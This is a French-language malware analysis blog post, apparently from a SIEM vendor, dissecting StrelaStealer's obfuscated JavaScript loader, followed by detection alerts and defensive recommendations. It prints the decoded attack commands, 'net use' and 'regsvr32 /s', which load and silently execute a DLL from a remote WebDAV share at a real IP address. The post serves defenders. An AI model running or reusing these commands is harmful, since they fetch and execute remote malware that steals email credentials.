Dans la recherche sur la cybersécurité, il est facile de se laisser entraîner par la recherche de nouvelles menaces. Cependant, les informations les plus précieuses peuvent parfois être obtenues en analysant des échantillons de malwares existants afin de découvrir des tendances majeures. Les échantillons de malwares jouent un rôle important pour aider les autres chercheurs en sécurité à comprendre les menaces nouvelles et anciennes afin de mieux les détecter et y répondre. En les étudiant, les analystes peuvent identifier des changements spécifiques dans les techniques, telles que les tactiques d’évasion. Nous allons nous concentrer aujourd’hui sur StrelaStealer.
Contexte
Semblable à notre précédente analyse de la famille de malware Loki, nous avons récemment observé une autre menace émergente : StrelaStealer. Comme Loki, ce malware n’introduit aucune technique révolutionnaire ou nouvelle. Cependant, les adversaires utilisant StrelaStealer ont démontré leur capacité à échapper aux défenses en obfusquant la charge virale d'une manière différente des techniques classiques des malwares, notamment en insérant de longs textes inutiles pour compliquer l'analyse.
StrelaStealer, également connu sous le nom de Strela, est un malware voleur d'informations (infostealer) qui cible spécifiquement les informations de connexion des clients de messagerie populaires. Il a récemment adopté des techniques d'obfuscation telles que la concaténation de chaînes, la substitution de caractères et les tactiques anti-analyse, rendant ainsi la détection et l'analyse plus difficiles pour les outils de sécurité. StrelaStealer est principalement distribué via des campagnes de spam contenant des fichiers zip. La charge virale initiale extraite de ces fichiers est généralement un fichier JavaScript (JS), servant de point d’entrée à l’infection.
Analyse
La charge virale initiale, un fichier JavaScript (JS), est exécutée à l'aide de wscript.exe, le binaire d'exécution par défaut pour ces fichiers sur la plupart des systèmes Windows. Lors de l'exécution du fichier, toutes les instructions sont extraites du fichier JS.
Lorsque le fichier JS est exécuté, il génère un processus enfant : powershell.exe. Par la suite, une commande codée en Base64 est exécutée via PowerShell.
Commande codée en Base64 :
La commande ci-dessus se traduit par :
À partir de la commande décodée, le flux d'exécution peut être retracé comme suit : la commande lance l'exécution du binaire timeout.exe, introduisant un délai d'une seconde. Ensuite, cmd.exe est appelé pour exécuter le binaire interne de Windows, net.exe, qui mappe un chemin réseau vers un partage WebDAV. Ensuite, regsvr32.exe est utilisé pour enregistrer et exécuter un fichier DLL à distance.
Les commandes ci-dessus sont décomposées comme suit :
-
timeout 1
:
Cet élément suspend l'exécution pendant 1 seconde, créant un bref retard dans le flux d'exécution. -
cmd /c net use \\94.159.113.79@8888\davwwwroot\
:
Cet élément utilise la commandenet use
pour tenter de mapper ou de se connecter à un partage réseau situé sur\\94.159.113.79@8888\davwwwroot/
. -
cmd /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\134257976134.dll
:
Cet élément exécuteregsvr32
pour enregistrer ou charger silencieusement (à l'aide du switch/s
) un fichier DLL (134257976134.dll
) hébergé au niveau du chemin de partage réseau spécifié.
Dans d’autres exemples, nous avons observé l’utilisation de rundll32.exe
au lieu de regsvr32.exe
pour exécuter des DLL distantes. Suite à l'exécution de la DLL distante, la charge virale principale de StrelaStealer est supprimée et exécutée, ce que nous aborderons dans un prochain article de blog.
En approfondissant l’examen du fichier JS
Lorsque le fichier JS est ouvert dans Notepad++, il apparaît comme indiqué ci-dessous. Une caractéristique commune des charges virales récentes que nous avons analysées concernant le malware Strela est la longueur importante de leurs documents.
À première vue, le fichier contient de longs noms d'objet avec des propriétés aléatoires attribuées à des valeurs apparemment arbitraires. Vient ensuite une section composée de fonctions, puis une série de concaténations de chaînes aléatoires. L'image ci-dessous montre une version réduite de la charge virale initiale pour plus de clarté.
Les adversaires ont créé de longues variables inutiles avec des valeurs aléatoires pour obfusquer et manipuler le code. Ces variables déclarent des valeurs qui sont ensuite échangées avec le code inutile ultérieur. En raison de la longueur importante du code, l’analyse manuelle devient difficile. La charge virale est essentiellement structurée en deux parties : une partie pour les déclarations de variables et la deuxième partie qui utilise ces variables lors de l'exécution pour effectuer l'échange et l'obfuscation.
Nous commençons par renommer les objets et les propriétés pour raccourcir les identifiants, tels que varx[propx]
, au lieu des noms longs et complexes indiqués ci-dessous.
Après avoir renommé les variables déclarées, nous avons identifié les caractères utilisés pour la substitution, comme indiqué ci-dessous :
Une fois les valeurs identifiées, nous avons simplement renommé toutes les autres parties du fichier JS en conséquence.
L'étape suivante consistait à échanger les valeurs et à les concaténer pour extraire la charge virale, comme le montre l'image ci-dessous.
En résumé, le texte extrait contient une charge virale codée en Base64. Une fois désobfusqué, il révèle les instructions PowerShell indiquées ci-dessus.
Détection avec Logpoint SIEM
Les techniques observées dans l’échantillon StrelaStealer analysé ne sont pas uniques, mais plutôt couramment utilisées par divers chargeurs/loaders et droppers initiaux pour contourner les mécanismes de détection. Ces méthodes illustrent une tendance croissante des malwares à recourir à des tactiques plus sophistiquées pour échapper aux défenses traditionnelles. À mesure que ces derniers continuent d’évoluer, la reconnaissance de ces techniques devient de plus en plus importante pour une identification et une réponse rapides.
Pour détecter avec succès ces comportements avancés, il est essentiel de mettre en œuvre des pratiques d'audit solides et de garantir que des logs pertinents soient bien générés. Une journalisation logging) et une surveillance appropriées des événements clés fournissent des informations inestimables sur les activités malveillantes, permettant ainsi une identification plus rapide des comportements suspects. Une détection et une chasse aux menaces efficaces reposent en grande partie sur la capture de données provenant de sources de log spécifiques. Vous trouverez ci-dessous une liste des sources de log majeures nécessaires pour prendre en charge une stratégie de détection robuste :
-
Windows
-
La création de processus avec audit en ligne de commande doit être activée.
-
-
Windows Sysmon
-
Pour commencer, vous pouvez utiliser notre configuration de base sysmon.
-
Étant donné que de nombreuses techniques de diffusion de malwares sont similaires, les alertes répertoriées ci-dessous ont également été mises en évidence dans nos articles de blog précédents. Assurez-vous que ces alertes soient bien activées pour détecter efficacement la chaîne d’infection initiale.
Exécution de fichiers suspects à l'aide de Wscript ou Cscript
La charge virale JS initiale a été exécutée à l'aide de wscript.exe
, rendant ainsi cette alerte efficace pour détecter l'exécution de fichiers de script via wscript.exe ou cscript.exe.
Sous-chaîne de paramètre PowerShell suspecte détectée
Étant donné que de nombreuses étapes d'attaque utilisaient PowerShell et ses cmdlets, cette alerte détecte l'utilisation de commandlets PowerShell suspects, généralement liés à des activités malveillantes, telles que l'exécution de charges virales codées en Base64 ou le téléchargement de fichiers distants via des cmdlets PowerShell.
Découverte des connexions réseau du système
L'utilisation de net.exe
pour mapper ou se connecter à un partage réseau distant a permis aux adversaires d'accéder et d'exécuter des fichiers à distance. Cette alerte peut être exploitée pour détecter des événements similaires.
Activité anormale de Regsvr32 détectée
Cette alerte permet de détecter l'utilisation suspecte du binaire regsvr32.exe qui, dans le cas de StrelaStealer, a été utilisé pour exécuter un fichier distant.
Recommandations
Bloquer les types de fichiers potentiellement exploités : limitez l'exécution de types de fichiers couramment exploités tels que .js, que les acteurs malveillants utilisent fréquemment pour la distribution de charges virales. Les exceptions doivent être soigneusement gérées pour les processus approuvés ou les utilisateurs autorisés afin d'éviter toute interruption des activités légitimes.
Formation régulière des utilisateurs : organisez des sessions de formation régulières pour que les utilisateurs puissent reconnaître et répondre aux tentatives d’attaque par ingénierie sociale et phishing. La sensibilisation et la préparation réduisent considérablement le risque d’infection par ces vecteurs d’attaque.
Politiques réseau et pare-feu : configurez les politiques réseau et pare-feu pour bloquer les tentatives de connexion non autorisées et les connexions sortantes vers des hôtes distants non fiables, réduisant ainsi le risques en matière de communications initiées par des malwares et d'exfiltration de données.
Mettre en œuvre une passerelle de messagerie sécurisée : assurez le déploiement de cette technologie, qui joue un rôle essentiel dans la réduction des risques en bloquant la majorité des courriers indésirables (malspam) avant qu'ils n'atteignent les utilisateurs.
Restreindre l'installation de logiciels : limitez les privilèges des utilisateurs pour empêcher l'installation et l'exécution de logiciels non autorisés, réduisant ainsi l'exposition aux infections potentielles.
Gardez les appareils et les logiciels à jour : mettez régulièrement à jour les appareils, les navigateurs et autres applications pour corriger les vulnérabilités connues et vous défendre contre les menaces en constante évolution.
Déploiement EDR : utilisez des solutions avancées EDR (Endpoint Detection and Response) pour identifier les activités suspectes, notamment celles liées à l'exécution de scripts et aux téléchargements de binaires. Cette stratégie permet une détection précoce du comportement des malwares, en particulier lorsque de nouvelles techniques, telles que celles observées dans StrelaStealer, sont utilisées.
Surveillez le comportement de navigation Web : suivez les habitudes de navigation des utilisateurs et restreignez l'accès aux sites connus pour leur contenu malveillant ou nuisible, empêchant ainsi les téléchargements potentiels de malwares.
Journalisation (logging) et surveillance complètes : maintenez une journalisation approfondie, une visibilité des actifs et une surveillance du système. Des audits réguliers doivent être menés pour détecter les activités anormales. Une collecte robuste de logs au niveau de tous les systèmes permet une analyse et une détection efficaces des menaces.
Politique de conservation des logs : établissez une période de conservation des logs d'au moins six mois pour garantir que suffisamment de données soient disponibles pour l'investigation des incidents, permettant ainsi une compréhension complète de l'origine et de l'impact de toute attaque.